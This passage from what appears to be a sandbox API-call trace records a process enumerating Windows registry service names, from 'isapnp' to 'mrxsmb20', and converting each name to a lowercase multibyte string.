cchName=0x104 | out: lpName="isapnp") returned 0x0 [0239.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isapnp", lpUsedDefaultChar=0x0) returned 6 [0239.302] RegEnumKeyW (in: hKey=0x150, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0239.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iscsiprt", lpUsedDefaultChar=0x0) returned 8 [0239.302] RegEnumKeyW (in: hKey=0x150, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0239.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdclass", lpUsedDefaultChar=0x0) returned 8 [0239.302] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0239.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdhid", lpUsedDefaultChar=0x0) returned 6 [0239.302] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0239.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyiso", lpUsedDefaultChar=0x0) returned 6 [0239.303] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0239.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecdd", lpUsedDefaultChar=0x0) returned 6 [0239.303] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0239.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecpkg", lpUsedDefaultChar=0x0) returned 7 [0239.303] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0239.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksthunk", lpUsedDefaultChar=0x0) returned 7 [0239.303] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0239.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x21f1e38, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ktmrm", lpUsedDefaultChar=0x0) returned 5 [0239.303] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0239.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0239.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x21f1928, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanserver", lpUsedDefaultChar=0x0) returned 12 [0239.303] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0239.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0239.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x21f1e38, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanworkstation", lpUsedDefaultChar=0x0) returned 17 [0239.304] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0239.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ldap", lpUsedDefaultChar=0x0) returned 4 [0239.304] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0239.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdio", lpUsedDefaultChar=0x0) returned 6 [0239.304] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0239.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdsvc", lpUsedDefaultChar=0x0) returned 7 [0239.304] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0239.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lmhosts", lpUsedDefaultChar=0x0) returned 7 [0239.304] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0239.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsa", lpUsedDefaultChar=0x0) returned 3 [0239.305] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0239.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_fc", lpUsedDefaultChar=0x0) returned 6 [0239.305] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0239.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas", lpUsedDefaultChar=0x0) returned 7 [0239.305] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0239.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas2", lpUsedDefaultChar=0x0) returned 8 [0239.305] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0239.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_scsi", lpUsedDefaultChar=0x0) returned 8 [0239.305] RegEnumKeyW (in: hKey=0x150, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0239.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x21f1e38, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="luafv", lpUsedDefaultChar=0x0) returned 5 [0239.305] RegEnumKeyW (in: hKey=0x150, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0239.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mcx2svc", lpUsedDefaultChar=0x0) returned 7 [0239.306] RegEnumKeyW (in: hKey=0x150, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0239.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasas", lpUsedDefaultChar=0x0) returned 7 [0239.306] RegEnumKeyW (in: hKey=0x150, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0239.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasr", lpUsedDefaultChar=0x0) returned 6 [0239.306] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0239.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0239.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x21f1e38, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sharepoint workspace audit service", lpUsedDefaultChar=0x0) returned 44 [0239.306] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0239.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmcss", lpUsedDefaultChar=0x0) returned 5 [0239.306] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0239.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x21f1e38, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modem", lpUsedDefaultChar=0x0) returned 5 [0239.307] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0239.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="monitor", lpUsedDefaultChar=0x0) returned 7 [0239.307] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0239.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouclass", lpUsedDefaultChar=0x0) returned 8 [0239.307] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0239.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouhid", lpUsedDefaultChar=0x0) returned 6 [0239.307] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0239.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mountmgr", lpUsedDefaultChar=0x0) returned 8 [0239.307] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0239.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0239.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x21f1928, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mozillamaintenance", lpUsedDefaultChar=0x0) returned 18 [0239.307] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0239.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x21f1e38, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpio", lpUsedDefaultChar=0x0) returned 4 [0239.308] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0239.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpsdrv", lpUsedDefaultChar=0x0) returned 6 [0239.308] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0239.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpssvc", lpUsedDefaultChar=0x0) returned 6 [0239.308] RegEnumKeyW (in: hKey=0x150, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0239.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxdav", lpUsedDefaultChar=0x0) returned 6 [0239.308] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0239.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb", lpUsedDefaultChar=0x0) returned 6 [0239.308] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0239.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb10", lpUsedDefaultChar=0x0) returned 8 [0239.309] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0239.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x21f1e38, 